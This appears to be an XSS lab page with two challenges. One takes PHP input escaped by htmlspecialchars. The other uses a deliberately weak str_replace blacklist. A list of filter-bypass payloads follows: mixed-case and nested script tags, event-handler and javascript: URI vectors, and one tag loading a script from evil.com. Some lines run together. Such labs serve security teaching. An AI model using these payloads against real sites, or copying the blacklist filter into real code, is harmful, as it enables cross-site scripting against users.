Multiple XSS Challenges with Different Filtering Methods
This interface contains two different XSS challenges with different filtering approaches:
htmlspecialchars() for both first name and last name parameters.
str_replace(array('script','Script',...,'body'), '/\/', $_GET['project'])
Objective: Test different XSS payloads against both filtering methods to understand their effectiveness.
Note: The 'project' parameter filter replaces blocked strings with '/\/' instead of removing them entirely.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["project"])){
$arr = array('script','Script','sCript','scRipt','scrIpt','scriPt','scripT','SCript','SCRipt','SCRIpt','SCRIPt',
'img','image','svg','audio','video','body');
$re = str_replace($arr, '/\/', $_GET['project']);
echo $re;
}
ScRiPt or other mixed case variations not in the filter<scr<script>ipt> to bypass simple filters<object>, <embed>, <iframe> instead of script tags<img src=x onerror=alert(1)> or other event-based XSS<a href="javascript:alert(1)">click</a><svg onload=alert(1)> if svg is not filtered<scr"+"ipt>Comparing the two filtering approaches:
For production-grade XSS prevention:
<ScRiPt>alert(1)</ScRiPt> - Mixed case<SCRIPT SRC="http://evil.com/xss.js"></SCRIPT> - Uppercase<scrscriptipt>alert(1)</scrscriptipt> - Nested tags<img src=x onerror=alert(1)> - Image error handler<body onload=alert(1)> - Body load event<svg onload=alert(1)> - SVG load event<iframe src="javascript:alert(1)"> - Iframe with JS protocol<scr/\/ipt>alert(1)</scr/\/ipt> - Using the replacement pattern<scr/\/ipt src="data:text/javascript,alert(1)"></scr/\/ipt> - Data URI